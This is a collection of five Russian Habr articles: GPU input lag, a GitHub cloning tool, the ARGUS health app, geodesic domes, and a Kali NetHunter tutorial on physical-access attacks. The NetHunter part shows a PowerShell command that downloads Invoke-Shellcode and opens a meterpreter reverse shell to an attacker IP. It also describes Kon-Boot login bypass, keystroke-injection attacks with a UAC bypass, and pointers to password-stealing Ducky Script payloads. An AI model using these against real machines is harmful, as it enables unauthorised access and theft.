Современные GPU — устройства максимально асинхронные. CPU отдает команды видеодрайверу, и идет заниматься своими делами. Драйвер накапливает команды в пачки, и пачками отправляет на видеокарту. Видеокарта рисует, а CPU в это время занимается своими делами. Максимальный FPS, который вы можете получить в этой системе ограничен одним из условий:
**1.** CPU не успевает отдавать команды видеокарте, потому что видеокарта очень быстро рисует. И нафига вы покупали такую мощную видеокарту?
**2.** Видеокарта не успевает рисовать то, что дает ей CPU. Теперь CPU халявит…
Для того, чтобы посмотреть, как красиво в паре работает CPU и GPU — есть различные профайлеры. Мы воспользуемся GPUView, который идет в составе Windows Performance Toolkit.
Лог от GPUView может выглядеть как-то так:
Вертикальные синие линии — это VSync. Наваленные горы кубиков — это горы пакетов, которые отправятся на видеокарту, когда та освободится. Штрихованный кубик — это пакет, содержащий переключение буферов. Иными словами — конец кадра. Любой кубик можно выбрать, и видеть, как он постепенно опускается в стопке, и отправляется на видеокарту. Видите на скриншоте кубик с желтой обводкой? Он обрабатывался аж на протяжении 3-х vsync-ов. А целый кадр занимает около 4-х VSync-ов (судя по расстоянию между разными штрихованными кубиками). Между двумя горами пакетов от разных кадров есть маленький зазор. Это то время, пока GPU отдыхал. Этот зазор маленький, и оптимизация на стороне CPU не даст большого выйгрыша.
Но бывают зазоры большие:
Это пример рендера из World of Warcraft. Расстояния между пакетами в очереди просто огромные. Более мощная видеокарта не даст прироста ни одного FPS. Зато если оптимизировать рендер на стороне CPU, то можно получить более чем двукратный прирост FPS на данном GPU.
Чуть более подробно можно почитать [тут](https://graphics.stanford.edu/~mdfisher/GPUView.html), а мы пойдем дальше.
### Так где же лаг?
Так уж сложилось, что разрыв в производительности между Hi-End и Low-End видеокартами поистине огромен. Поэтому у вас обязательно будут возникать обе ситуации. Но самая грустная ситуация — это когда GPU не справляется. Выглядеть это начинает вот так:
Обратите внимание, сколько времени заняла обработка одного пакета. Кадр занимает 4 VSync-а, а обработка пакета занимает в 4 раза дольше! DirectX (OpenGL ведет себя так же) накапливает данных аж на 3 кадра. Но ведь когда мы кладем в очередь свежий кадр — все предыдущие кадры для нас уже не актуальны, а видеокарта по прежнему будет тратить время на отрисовку. Поэтому наше действие появится на экране спустя аж 3 кадра. Давайте посмотрим, что мы можем сделать.
#### 1. Честное решение. IDXGIDevice1::SetMaximumFrameLatency(1)
Я честно, не представляю зачем копить данных на 3 кадра в буфере. Но MS видимо поняла ошибку, и начиная с DX10.1 у нас появилась возможность задать это количество кадров через специальный метод IDXGIDevice1::SetMaximumFrameLatency. Давайте посмотрим, как нам это поможет:
Ну что же. Стало значительно лучше. Но по прежнему не идеально, т.к. все равно ждем 2 кадра. Еще один недостаток решения — то что оно работает только для DirectX.
### 2. Трюк с ID3D11Query
Идея заключается в том, что в конце кадра мы устанавливаем D3D11\_QUERY\_EVENT. В начале следующего кадра — ждем, постоянно проверяя событие, и если оно прошло, то только тогда начинаем отдавать команды на отрисовку, и с наисвежайшими Input данными.
Картина практически идеальная, не находите? Ожидание я реализовал вот так:
```
procedure TfrmMain.SyncQueryWaitEvent;
var qDesc: TD3D11_QueryDesc;
hRes: HRESULT;
qResult: BOOL;
begin
if FSyncQuery = nil then //когда первый раз приходим сюда - просто создаем евент, а не ждем.
begin
qDesc.MiscFlags := 0;
qDesc.Query := D3D11_QUERY_EVENT;
Check3DError(FRawDevice.CreateQuery(qDesc, FSyncQuery));
end
else
begin
repeat
hRes := FRawDeviceContext.GetData(FSyncQuery, @qResult, SizeOf(qResult), 0);
case hRes of
S_OK: ;
S_FALSE: qResult := False;
else
Check3DError(hRes);
end;
until qResult; //просто крутим цикл, пока евент не обработается
end;
end;
```
Установка эвента тривиальна:
```
procedure TfrmMain.SyncQuerySetEvent;
begin
if Assigned(FSyncQuery) then
FRawDeviceContext._End(FSyncQuery);
end;
```
Ну и в сам рендер добавляем вначале ожидание. Затем перед самой отрисовкой собираем свежие Input данные, а перед самым Present-ом устанавливаем евент:
```
if FCtx.Bind then
try
case WaitMethod of //ждем евента
1: SyncQueryWaitEvent;
2: SyncTexWaitEvent;
end;
FCtx.States.DepthTest := True;
FFrame.FrameRect := RectI(0, 0, FCtx.WindowSize.x, FCtx.WindowSize.y);
FFrame.Select();
FFrame.Clear(0, Vec(0.0,0.2,0.4,0));
FFrame.ClearDS(FCtx.Projection.DepthRange.y);
ProcessInputMessages; //собираем свежие Input данные
FShader.Select;
FShader.SetAttributes(FBuffer, nil, FInstances);
FShader.SetUniform('CycleCount', tbCycle.Position*1.0);
for i := 0 to FInstances.Vertices.VerticesCount - 1 do
FShader.Draw(ptTriangles, cmBack, False, 1, 0, -1, 0, i);
FFrame.BlitToWindow(0);
case WaitMethod of //устанавливаем евент
1: SyncQuerySetEvent;
2: SyncTexSetEvent;
end;
FRawSwapChain.Present(0,0);
finally
FCtx.Unbind;
end;
```
Недостаток ~~костыля~~ метода — работает только с DirectX. Но можно дождаться синхронизации другим оригинальным способом.
### 3. Воркэраунд через текстуру
Вот что мы делаем. У нас есть механизмы прочитать данные из видеоресурсов. Если мы заставим видеокарту что-то нарисовать, а потом попытаемся забрать, то произойдет автоматическая синхронизация между GPU-CPU. Мы не сможем забрать данные раньше, чем они будут нарисованы. Поэтому вместо установки евента я предлагаю генерить мипы на видеокарте для текстуры 2\*2, а вместо ожидания евента — забирать данные из этой текстуры в системную память. В результате подход выглядит так:
Вот так мы ожидаем евент:
```
procedure TfrmMain.SyncTexWaitEvent;
var SrcSubRes, DstSubRes: LongWord;
TexDesc: TD3D11_Texture2DDesc;
ViewDesc: TD3D11_ShaderResourceViewDesc;
Mapped: TD3D11_MappedSubresource;
begin
if FSyncTex = nil then
begin
TexDesc.Width := 2;
TexDesc.Height := 2;
TexDesc.MipLevels := 2;
TexDesc.ArraySize := 1;
TexDesc.Format := TDXGI_Format.DXGI_FORMAT_R8G8B8A8_UNORM;
TexDesc.SampleDesc.Count := 1;
TexDesc.SampleDesc.Quality := 0;
TexDesc.Usage := TD3D11_Usage.D3D11_USAGE_DEFAULT;
TexDesc.BindFlags := DWord(D3D11_BIND_SHADER_RESOURCE) or DWord(D3D11_BIND_RENDER_TARGET);
TexDesc.CPUAccessFlags := 0;
TexDesc.MiscFlags := DWord(D3D11_RESOURCE_MISC_GENERATE_MIPS);
Check3DError(FRawDevice.CreateTexture2D(TexDesc, nil, FSyncTex));
TexDesc.Width := 1;
TexDesc.Height := 1;
TexDesc.MipLevels := 1;
TexDesc.ArraySize := 1;
TexDesc.Format := TDXGI_Format.DXGI_FORMAT_R8G8B8A8_UNORM;
TexDesc.SampleDesc.Count := 1;
TexDesc.SampleDesc.Quality := 0;
TexDesc.Usage := TD3D11_Usage.D3D11_USAGE_STAGING;
TexDesc.BindFlags := 0;
TexDesc.CPUAccessFlags := DWord(D3D11_CPU_ACCESS_READ);
TexDesc.MiscFlags := 0;
Check3DError(FRawDevice.CreateTexture2D(TexDesc, nil, FSyncStaging));
ViewDesc.Format := TDXGI_Format.DXGI_FORMAT_R8G8B8A8_UNORM;
ViewDesc.ViewDimension := TD3D11_SRVDimension.D3D10_1_SRV_DIMENSION_TEXTURE2D;
ViewDesc.Texture2D.MipLevels := 2;
ViewDesc.Texture2D.MostDetailedMip := 0;
Check3DError(FRawDevice.CreateShaderResourceView(FSyncTex, @ViewDesc, FSyncView));
end
else
begin
SrcSubRes := D3D11CalcSubresource(1, 0, 1);
DstSubRes := D3D11CalcSubresource(0, 0, 1);
FRawDeviceContext.CopySubresourceRegion(FSyncStaging, DstSubRes, 0, 0, 0, FSyncTex, SrcSubRes, nil);
Check3DError(FRawDeviceContext.Map(FSyncStaging, DstSubRes, TD3D11_Map.D3D11_MAP_READ, 0, Mapped));
FRawDeviceContext.Unmap(FSyncStaging, DstSubRes);
end;
end;
```
а вот так его устанавливаем:
```
procedure TfrmMain.SyncTexSetEvent;
begin
if Assigned(FSyncView) then
FRawDeviceContext.GenerateMips(FSyncView);
end;
```
В остальном подход полностью аналогичен предыдущему. Преимущество: работает не только на DirectX но и на OpenGL. Недостаток — маааленький оверхед на генерацию текстуры и передачу данных назад + потенциально потраченное время на «пробуждение» потока шедулером операционной системы.
### Про попробовать
Конечно я тут растекался по дереву… но насколько проблема серьезная? Как пощупать это? Я написал специальную демонстрационную программу (требует DirectX11).
Скачать \*.exe можно [здесь](https://github.com/MrShoor/InputLagReducing/releases/tag/0.0). Для тех, кто боится качать билды неизвестного производителя — исходный код lazarus проекта [здесь](https://github.com/MrShoor/InputLagReducing) (также потребуется моя библиотека фреймворк AvalancheProject, которая находится [вот тут](https://github.com/MrShoor/AvalancheProject))
Программа представляет собой такое окно:
Тут рисуется 40\*40\*40=64000 (кстати каждый кубик — отдельный дравколл). GPU workload трекбар дает нагрузку на GPU (с помощью бесполезного цикла в вершинном шейдере). Просто опускаете с помощью этого трекбара фпс до низкого уровня, скажем 10-20, а потом пробуете правой кнопкой мыши крутить кубики, и переключать методы уменьшения Input лага с помощью радиобаттонов.
Вы только оцените какая огромная разница в скорости отклика. C Query Event комфортно крутить кубик даже при 20 фпс.
### В заключение
Я честно говоря был удивлен, когда увидел, что мало кто борется с этой проблемой. Даже крупные ААА проекты допускают такие ужасные инпут лаги. Так же меня удивляет, что новые графические API выходят один за одним, а проблему, которой явно больше 10 лет — приходится решать до сих пор костылями. В общем надеюсь, что эта статья поможет вам повысить отзывчивость своего приложения, а так же добавит вам довольных пользователей. | https://habr.com/ru/post/308980/ | null | ru | null |
# Как справиться с более 50 репозиториев на GitHub?
Допустим есть ситуация, когда у тебя много проектов на `github` и ты хочешь хранить локальную копию всех проектов на разных устройствах и носителях. У тебя есть простой вариант - указать список репозиториев, написать `bash` скрипт, который бы клонировал все репозитории, и еще один `bash` скрипт, который бы их всех обновлял. Но `bash` скрипты не очень приятная вещь, когда ты знаешь `python`. С `python` будет по легче, но не забудь тебе придётся писать асинхронные REST API запросы к серверу GitHub для получения списка репозиториев, потому что писать вручную список репозиториев долго, потом тебе придётся разобраться как обновлять и копировать репозитории в многопоточном режиме, потому что синхронное обновление даже 40 репозиториев это 2 минуты ожидания. В общем работенка на два вечера + документация проекта + тестирование, в итоге 3 дня разработки для достижения поставленной цели. Но зачем тебе это делать когда это уже сделали ?
→ [**Проект git\_clones**](https://github.com/denisxab/git_clons.git)
→ [**Документация git\_clones**](https://git-clons.readthedocs.io/ru/latest/)
Получаем список всех репозиториев у указанного пользователя. В итоге вы получите файл `./look.json` в котором будет храниться информация о пользователи, и список репозиториев. Обратите внимание, что приватные репозитории не будут получены, их нужно указывать вручную в этом же файле `look.json`.
```
gitclones getrep ИмяПользователяGitHub
```
После того как вы получили список репозиториев, выполните эту команду для их клонирования. В опцию `-o` укажите куда клонировать репозитории.
```
gitclones clones -o ПутьКудаКлонировать
```
После того как вы клонировали репозитории, вы можете за одну команду выполнить `git pull` для всех репозиториев.
```
gitclones cmd pull -i ПутьК_ПапкеС_Репозиториями
``` | https://habr.com/ru/post/653345/ | null | ru | null |
# Imagine Cup 2014 глазами C4L
Здравствуй, дорогой Хабр!
Перед Вами история команды C4L, Национального победителя Imagine Cup 2014 в категории «Социальные проекты»!
#### Идея
Все началось с идеи двухлетней давности – создать систему, которая позволит следить за состоянием кровообращения организма и, как следствие, сохранит миллионы жизней. Всем известно, что инсульт вызывает не самые лучшие последствия (инвалидизация и смертность).
Мы решили не оставаться безучастными и начали создавать свою систему. Ее идея в том, что любой человек может снять 15-секундное видео и получить данные о своем состоянии. А еще это может делать кто-нибудь другой. Например, Вы переживаете за здоровье своих родственников, тогда Вы сможете установить наше приложение на их ПК и попросить их периодический проверяться на нем.
Фишка идеи заключается в том, что стандартная камера может отследить изменения кровообращения, незаметные человеческому глазу. Наша система, основанная на нашем уникальном математическом аппарате, отслеживает эти изменения, анализирует их и выводит результат не только числовой, но и графический и диаграммный.
#### Реализация
Развитие ARGUS планируется в 5 направлениях, но мы делали больший упор на одно направление — Мобильная версия. Алгоритм работы пользователя с мобильным приложением ARGUS прост:
* при запуске приложения пользователь проходит процедуру регистрации/авторизации;
* выбирает режим съемки:
съемка лица (дает более полные сведения);
съемка пальца (дает общие сведения);
* загружает видео в Windows Azure, где происходит обработка видео;
* смотрит результаты в истории обследований.
Результаты выводятся не только числовыми показателями, но и графиками. Пользователь также может сохранять все результаты в Microsoft Health Vault и дать доступ к ним своему лечащему врачу.
#### Мобильный клиент ARGUS
Мобильный клиент разработан для платформы Windows Phone 8. Приложение делает запись продолжительностью 18 секунд (достаточно и 15, но 3 секунды — запас), после чего пользователь выбирает ключевые точки, по которым будет вестись обследование. Когда точки выбраны, данные отправляются в хранилище Windows Azure Storage, и сервис обработки данных начинает свою таинственную работу.
*Скриншот экрана записи видео*
Сервис, кстати расположен тоже в Windows Azure, это дает возможность моментального обмена данными между хранилищем исходных данных, которые поступили с клиентского ПО и виртуальной машины, на которой «крутится» сервис. Сервис извлекает из видео необходимые для обработки данные (какие — секрет), проводит анализ данных, подсчитывает пульс, определяет разность ваз венозного и артериального пульсов, строит графики пульсовой волны для каждой из точек, дает заключение о стабильности пульса (как все это происходит, мы тоже не скажем).
В это время клиент шлет сервису запросы типа «ну, ты скоро там?» ( или «результат готов?»), когда обработка завершается, сервис отправляет клиенту результат, который можно увидеть на экране.
*Скриншот результатов обследования*
Ниже приведен код отправки данных в хранилище (тут ничего секретного, это почти код из примеров от Microsoft):
```
//Данные для подключения
string AccountKey = ВашКлючОтХранилища;
string AccountName = УчетнаяЗаписьХранилища
string ContainerName = ИмяКонтейнераВКоторомХранятсяДанные;
//Клиент для работы с хранилищем
CloudBlobClient blobStorage;
//Строка подключения
Uri baseUri = new Uri(string.Format("http://{0}.blob.core.windows.net", AccountName));
//Данные пользователя
StorageCredentials cred = new StorageCredentials(AccountName, AccountKey);
blobStorage = new CloudBlobClient(baseUri, cred);
//Контейнер блобов
CloudBlobContainer blobContainer = blobStorage.GetContainerReference(ContainerName);
//Блоб и отправка данных в хранилище azure
CloudBlockBlob blobFromSASCredential = blobContainer.GetBlockBlobReference(isoVideoFileName);//Придумать имя файла
isoVideoFile = new IsolatedStorageFileStream(storageFile.Path,
FileMode.Open, FileAccess.Read,
IsolatedStorageFile.GetUserStoreForApplication());
byte[] fileContent = new byte[isoVideoFile.Length];
await isoVideoFile.ReadAsync(fileContent, 0, fileContent.Length);
HashSet blocklist = new HashSet();
var fileBlocks = GetFileBlocks(fileContent, ref countOfFileBlocks);
foreach (FileBlock block in fileBlocks)
{
await blobFromSASCredential.PutBlockAsync(
block.Id,
new MemoryStream(block.Content, true),
null);
blocklist.Add(block.Id);}
await blobFromSASCredential.PutBlockListAsync(blocklist);
```
Суть в том, что мы делим файлы на части и высылаем их, а потом склеиваем.
```
Тип FileBlock
public class FileBlock
{
public string Id
{
get;
set;
}
public byte[] Content
{
get;
set;
}
}
```
Метод разбиения на блоки:
```
private IEnumerable GetFileBlocks(byte[] fileContent, ref double count)
{
HashSet hashSet = new HashSet();
if (fileContent.Length == 0) return new HashSet();
int blockId = 0;
int ix = 0;
int currentBlockSize = MaxBlockSize;
while (currentBlockSize == MaxBlockSize)
{
if ((ix + currentBlockSize) > fileContent.Length) currentBlockSize = fileContent.Length - ix;
byte[] chunk = new byte[currentBlockSize];
Array.Copy(fileContent, ix, chunk, 0, currentBlockSize);
hashSet.Add(
new FileBlock()
{
Content = chunk,
Id = Convert.ToBase64String(System.BitConverter.GetBytes(blockId))
});
ix += currentBlockSize;
blockId++;
}
count = blockId;
return hashSet;
}
```
Также были проведены клинические испытания приложения:
#### Прототипы
Для демонстрации всех возможностей нашего ARGUSa мы совместно с крутым дизайнером Андреем Васьковым разработали макеты двух устройств:
1. smartDS — док-станция для Мобильного устройства, это актуально для больных неврологическими заболеваниями и уже перенесших инсульт;
2. smartEYE — это устройство, позволяющее совершать полный обзор по всему помещению, где оно установлено. В него установлены сервы, плата и камера.
После этого мы напечатали все необходимы заготовки на 3D-принтере при поддержке компании CyberCom и начали собирать наши будущие прототипы. В сборке нам помогали конструкторы робота-снегоуборщика и робота-промоутера Promobot.
Прототип smartDS:
Готовый и работающий прототип smartEYE:
#### Imagine Cup 2014
Наша команда C4L решила участвовать в Imagine Cup 2014, чтобы показать, какого прогресса мы достигли с прошлого Imagine Cup, как мы смогли свою идею воплотить в работающий прототип, какие идеи вариантов использования появились и как это может более глобально повлиять на нашу главную цель – подарить шанс жить и радоваться этой жизни!
Наша команда заявилась на IC 2014 в феврале. Мы прошли заочный региональный этап и попали на Региональный финал, на котором заняли 2 место, но ввиду нашей крутой идеи, нас пригласили на Российский финал! С Российскими финалом мы отлично справились – мы выиграли в категории «Социальные проекты» и взяли спецприз от компании Intel!
Сейчас нам предстоит онлайн финал, где выберут команду, которая будет представлять нашу страну на Международном финале Imagine Cup 2014 в Сиэтле!
Мы делаем все возможное, чтобы to go The International final of Imagine Cup 2014 by Microsoft. We hope will become the winners online finals and go to U.S. Our slogan the same as the inscription on Imagine Cup 2014 badges – NEVER GIVE UP!
C4L — We give YOUR Chance 4 Life! | https://habr.com/ru/post/222739/ | null | ru | null |
# Kali Linux NetHunter на Android Ч.3: нарушение дистанции
**Статьи из цикла**
[Kali Linux NetHunter на Android: зачем и как установить](https://habr.com/ru/company/tomhunter/blog/465045/)
[Kali Linux NetHunter на Android Ч.2: атаки на беспроводные сети](https://habr.com/ru/company/tomhunter/blog/471260/)
[Kali Linux NetHunter на Android Ч.3: нарушение дистанции](https://habr.com/ru/company/tomhunter/blog/513226/)
Приветствую тебя, мой читатель! Надеюсь, что предыдущие части ([первая](https://habr.com/ru/company/tomhunter/blog/465045/) и [вторая](https://habr.com/ru/company/tomhunter/blog/471260/)) из цикла статей про Nethuter тебе понравились. Сегодня мы сосредоточим внимание на атаках, когда сам атакующий имеет непосредственный (физический) доступ к компьютеру жертвы. Итак, поехали.
### DriveDroid
DriveDroid — приложение, которое позволяет вашему устройству прикидываться CD/DVD-приводом или USB-флешкой. Оно не входит в состав Nethunter, но находится в магазине приложений Nethunter (в Play Market, кстати, тоже есть). И естественно, приложение требует для работы root-права.
С помощью DriveDroid можно эмулировать ISO- и IMG-файлы образов. Также приложение умеет создавать пустые файлы-образы фиксированного размера (задается пользователем) и эмулировать их с возможностью чтения/записи, что пригодится нам чуть дальше.
При первом запуске приложение необходимо настроить. Последовательно будут отображены экраны, на каждом из которых надо будет совершить определенное действие: предоставить root-права, указать директорию для образова, выбор системы работы с USB, и т.д. В целом настройка напоминает старый принцип “далее-далее-далее-ок”, поэтому останавливаться на ней не будем. Добавлю только, что если монтирование проходит некорректно, нужно поменять систему работы с USB, там было несколько вариантов на выбор (более предпочтительный вариант находится сверху).
*Рис.1. Настройка и интерфейс DriveDroid.*
Теперь мы можем монтировать различные образы и загружаться с них. Изначально доступен только один тестовый образ “Drive Droid Boot Tester”. При нажатии на него появляется несколько вариантов монтирования:
* как флешку в режиме чтения,
* как флешку в режиме чтение/запись,
* как привод с оптическим диском.
Выбираем любой понравившийся вариант для монтирования (я выбирал “read-only usb”), перезагружаем компьютер, в BIOS меняем приоритет загрузки устройств, чтобы загрузка с внешних устройств была предпочтительнее (да-да, точно как с переустановкой Windows:) ). Если все сделано правильно, то компьютер загрузится с эмулированного тестового образа (ты сразу поймешь, что это именно он).
*Рис.2. Экран загрузки с тестового образа DriveDroid.*
Данное приложение позволяет нам на компьютере жертвы загрузиться через какой-нибудь LiveCD и, если на машине не установлено шифрование жесткого диска, скачать нужные файлы. В принципе, можно выполнить любое действие, которое позволяет эмулированный LiveCD: выполнить проверку на вирусы, переразметить разделы, установить ОС и другие возможные варианты.
Особо хочется отметить средство [Kon-Boot](https://kon-boot.com/), которое позволяет обходить авторизацию на Windows и Mac машинах. Release note для Windows [тут](https://kon-boot.com/docs/#windows_guide/) и для Mac [тут](https://kon-boot.com/docs/#osx_guide/). Утилита для Windows в последних версиях даже умеет обходить онлайн авторизацию на Windows 10. Но не стоит сильно радоваться, так как утилита платная, и ее стоимость начинается от 25$ за персональную лицензию для одной из ОС. Придется потрясти любимую свинью-копилку. Алгоритм использования прост:
* Монтируем образ утилиты с помощью DriveDroid;
* Загружаемся с него (изменяем приоритет загрузки в BIOS, если понадобится), потом загрузчик Kon-Boot начинает запуск Windows;
* Выбираем любого пользователя и заходим под ним с пустым паролем.
Видео с демонстрацией работы (не мое) [можно посмотреть тут](https://www.youtube.com/watch?v=xrpqoYMhCPo).
**User experience**
Я тестировал работу утилиты (Kon-Boot 2.4) на Windows 7 home extended с последними обновлениями. Авторизация под локальным администратором проходила успешно. Правда немного пришлось повозиться с получением компактного образа для DriveDroid. Я создал пустой IMG-файл размером 30 Мб, примонтировал его через опцию “Writable USB”. Мой компьютер распознал его как обычную флешку, и через утилиту от разработчиков записал Kon-Boot на эту “флешку”-образ.
### HID атаки
Nethunter имеет несколько встроенных инструментов для проведения HID-атак (**human interface device**). Для проведения данных атак необходим непосредственный доступ к атакуемой машине и возможность выполнения на ней некоторых действий (система должна быть разблокирована). HID-атаки воспринимаются системой, как легитимное поведение пользователя. Антивирусное ПО, как правило, на саму атаку не срабатывает, но может сработать на используемую нагрузку. Например, при загрузке вредоносного файла или при загрузке некодированного файла для проброса сессии meterpreter. Таким образом можно сократить время рутинных операций во время атаки, что крайне полезно в условиях ограниченного времени доступа к атакуемой машине.
**Про язык ввода**
Поскольку данные атаки имитируют нажатие клавиатуры, то они прекрасно работают там, где установлен только один язык ввода. И это, естественно, английский. Атакующему необходимо предусмотреть смену раскладки: прописать в скрипте (возможно для Ducky Script) или переводить язык вручную (для HID Attacks из приложения Nethunter). Иначе при запросе выполнения команды можно получить что-то типа этого:
*Рис.3. Результат выполнения команды без предварительной смены раскладки.*
Также, возможно, понадобится несколько раз менять раскладку. Например: первый раз на рабочем столе, второй раз — при запуске командной строки. Все это зависит от настроек на атакуемой машине.
### Ducky Script
Ducky Script — скриптовый язык, с помощью которого можно составить сценарий действий, выполняемых от имени пользователя. Подключенное устройство с программой-интерпретатором посылает сигналы на компьютер, имитируя ввод с клавиатуры и мыши. Ducky Script используется для устройства USB Rubber Ducky (сейчас на [Amazon](https://www.amazon.com/Hak5-Rubber-Ducky-Deluxe-Field/dp/B07KQMMNKB) стоит порядка 120$).
*Рис.4. Комплект устройства USB Rubber Ducky.*
В Nethunter есть встроенный интерпретатор (приложение NetHunter — вкладка “DuckHunter HID”), но заставить его корректно работать у меня не удалось.
*Рис.5. Nethunter — DuckHunter HID.*
Зато в NetHunter Store есть приложение Rucky (v 1.9), которое также является интерпретатором Duck Script. Приложение прекрасно отправляет ввод с клавиатуры и нажатия клавиш, но указатель мыши у меня так и не начал двигаться.
Открываем приложение Rucky, пишем скрипт на запуск Chrome со ссылкой и запускаем.
*Рис.6. Rucky. Скрипт запуска Chrome.*
*Как выполнение Ducky Script выглядит на машине.*
Вот [здесь](https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads) собраны примеры скриптов. Быстро установить на обои хот-доги или украсть пароли из Chrome и отправить на email… Возможности есть на все, на что фантазии хватит!
### HID Attacks
В приложении Nethunter есть вкладка HID Attacks. Атаки из этой группы работают по принципу «устройство имитирует ввод с клавиатуры», но ориентированы они на определенные паттерны. Плюсом является то, что есть опция UAC Bypass (для Win7, Win8, Win10), при использовании которой командная строка запускается от администратора. Соответственно, вы должны быть залогинены, как минимум под локальным администратором, чтобы не пришлось вводить данные учетной записи администратора.
*Рис.7. UAC bypass.*
**Что сделать, чтобы заработали атаки**
Для того, чтобы атаки заработали, необходимо подключить устройство как MIDI.
*Рис.8. Подключение устройства как MIDI.*
Рассмотрим паттерны в HID Attacks.
**Powersploit**
Данный паттерн ориентирован на запуск Powershell скрипта с удаленной машины, который должен пробросить meterpreter shell с атакуемой машины.
*Рис. 9. Nethunter-HID Attacks-PowerSploit.*
*Рис. 10. Результат выполнения в командной строке.*
`iex (New-Object Net.WebClient).DownloadString("http://192.168.1.45:80/Invoke-Shellcode.ps1"); Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost 192.168.1.45 -Lport 8080 -Force`
*Результат декодирования BASE64 строки.*
Как видно из скриншота, атака у меня не удалась из-за проблем выполнения скрипта. По указанным параметрам я определил, что скорее всего должен использоваться Invoke-Shellcode.ps1 из репозитория [EmpireProject](https://github.com/EmpireProject/Empire/blob/master/data/module_source/code_execution/Invoke-Shellcode.ps1). Cкрипт Invoke-Shellcode.ps1 или репозитория [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1) обновлен и в нем нет параметра Payload. Использование старой «подходящей» версии скрипта представлено на рис. 10.
В закодированной BASE64 строке представлены все наши параметры из окна приложения. Если что-то будете менять, не забудьте про кнопку “UPDATE” внизу, это важно.
Таким образом, ждем, пока разработчики обновят эту часть приложения Nethunter.
**Windows CMD**
Тут все просто. В данном паттерне запускается командная строка и последовательно выполняются команды, указанные в параметре скрипта. Также можно запускать командную строку от администратора, можно сохранять и загружать сохраненные скрипты. И не забываем про кнопочку “UPDATE”.
*Рис. 11. Nethunter — HID Attacks — Windows CMD.*
*Рис. 12. Результат выполнения в командной строке.*
**Примечание**
Первая строка должна начинаться с символа “\*”, иначе пропадает первая буква команды. Например, вместо “ipconfig” будет введено “pconfig”. Вот просто потому что:)
**Powershell HTTP Payload**
Данный паттерн должен загружать powershell нагрузку и выполнять ее. Но он не заработал у меня вообще: при запуске атаки никакие действия не происходили, а логи веб-сервера, на котором был скрипт с нагрузкой, остались пусты.
*Рис.13. Nethunter — HID Attacks — Powershell HTTP Payload.*
И небольшой бонус для тех, кто дочитал :)
**KeX manager**
Полноценный десктопный интерфейс Kali Linux, да-да! Nethunter имеет встроенный VNC-сервер (Virtual Network Computing — система удалённого доступа к рабочему столу компьютера). Настраивается все очень просто. В приложени Nethunter во вкладке KeX Manager нажимаем на кнопку “SETUP LOCAL SERVER” и устанавливаем пароль для нашего сервера. Теперь нажимаем “START SERVER”, статус сервера изменился на “RUNNING”. Нажимаем на “OPEN KEX CLIENT”, вводим заданный ранее пароль, и у нас запускается десктопный интерфейс.
*Рис.14. Настройка и подключение к VNC-серверу.*
*Рис.15. Результат подключения к VNC-серверу.*
Если мы хотим подключиться с другого устройства, необходимо, чтобы галочка “Localhost Only” была снята и клиент мог “достучаться” до сервера. Перезапускаем сервер. И с помощью VNC-клиента на другом устройстве подключаемся, указав IP устройства Nethunter и порт 5901 (например, 192.168.1.3:5901). Потом вводим ранее установленный пароль, и вот мы подключились!
*Рис.16. Результат подключения к VNC-серверу с другого устройства.*
**Примечание**
Cудя по информации [с этой страницы](https://store.nethunter.com/packages/com.offsec.nethunter.kex/) для безопасного (шифрованного) соединения лучше использовать VeNCrypt клиент.
На этом пока что все. Помни, все только в образовательных целях :) До скорого!
**Статьи из цикла**
[Kali Linux NetHunter на Android: зачем и как установить](https://habr.com/ru/company/tomhunter/blog/465045/)
[Kali Linux NetHunter на Android Ч.2: атаки на беспроводные сети](https://habr.com/ru/company/tomhunter/blog/471260/)
[Kali Linux NetHunter на Android Ч.3: нарушение дистанции](https://habr.com/ru/company/tomhunter/blog/513226/) | https://habr.com/ru/post/513226/ | null | ru | null |
# Геодезический купол. Об устройстве и моем опыте расчетов
Пожалуй сложно назвать геодезические купола чем-то необычным или новым. В этой заметке я расскажу немного об этих конструкциях в общем, об их устройстве, а также покажу на примере как я кое что на эту тему считал. Код тоже будет.
Википедию цитировать не буду. Почему я выбрал купол в качестве дома?
* При равном объеме площадь поверхности сферы будет меньше, чем у любой другой формы. Это положительно влияет как на материалоемкость, так и на энергозатраты при эксплуатации.
* Мне нравится как выглядит сфера.
* Это интересный инженерный проект, в каком-то смысле даже вызов. Это сложно, трудно и потому весело!
Как это геодезические сферы устроены вообще? С первого взгляда кажется, что это какое-то переплетение рёбер и уловить систему сложно. В этой заметке попробуем разобраться.
В основе таких конструкций лежит икосаэдр или октаэдр. В общем правильный многогранник.
В моем случае это был именно икосаэдр и чаще используют его. Далее берем одну грань и заменяем ее на несколько треугольников, вершины которых лежат на сфере, центр которой совпадает с центром икосаэдра. Звучит не слишком складно. Отвлечемся.
Есть замечательный калькулятор [www.acidome.ru](http://www.acidome.ru/) который позволяет в реальном времени покрутить геодезик. Берем в качестве основы icosahedron, ставим частоту 1, часть сферы 1/1.
Это и есть наш основной икосаэдр. Частота это на сколько частей мы разобьем каждое ребро икосаэдра. Ставим 3,4, 5 и ничего становится непонятно. Переключаем в режим кровли и ищем пятиугольники. В тех местах, где у нас вершина икосаэдра — будет пятиугольник. Между тремя пятиугольниками грань икосаэдра.
Если внимательно смотреть на геодезик и знать, что искать (обычно пятиугольник), то становится видна регулярность структуры. На Биосфере в Монреале при должном усердии можно найти пятиугольники и посчитать частоту. Частота у нас равна количеству ребер между двумя пятиугольниками.
Сами “большие” треугольники, с вершинами на вершинах икосаэдра также имеют структуру. На acidome в режиме кровли это видно по цвету. Треугольники расположены симметрично относительно центра “большого” треугольника. Количество их типов меньше общего числа треугольников. В случае с частотой 5 уникальных треугольников 9.
В процессе проектирования дома я столкнулся с задачей постройки сферы в Dynamo. Это такой инструмент, который позволяет научить Autodesk Revit работать со сложными формами. Такая среда визуального программирования.
Погуглив я даже нашел скетч, который в Dynamo строил геодезическую сферу. Сферу то он строил, да не ту.
Дело вот в чем. Когда мы берем одно ребро икосаэдра и делим его на мелкие треугольники — сделать это можно несколькими способами. В acidome за это отвечает переключатель “метод разбиения”.
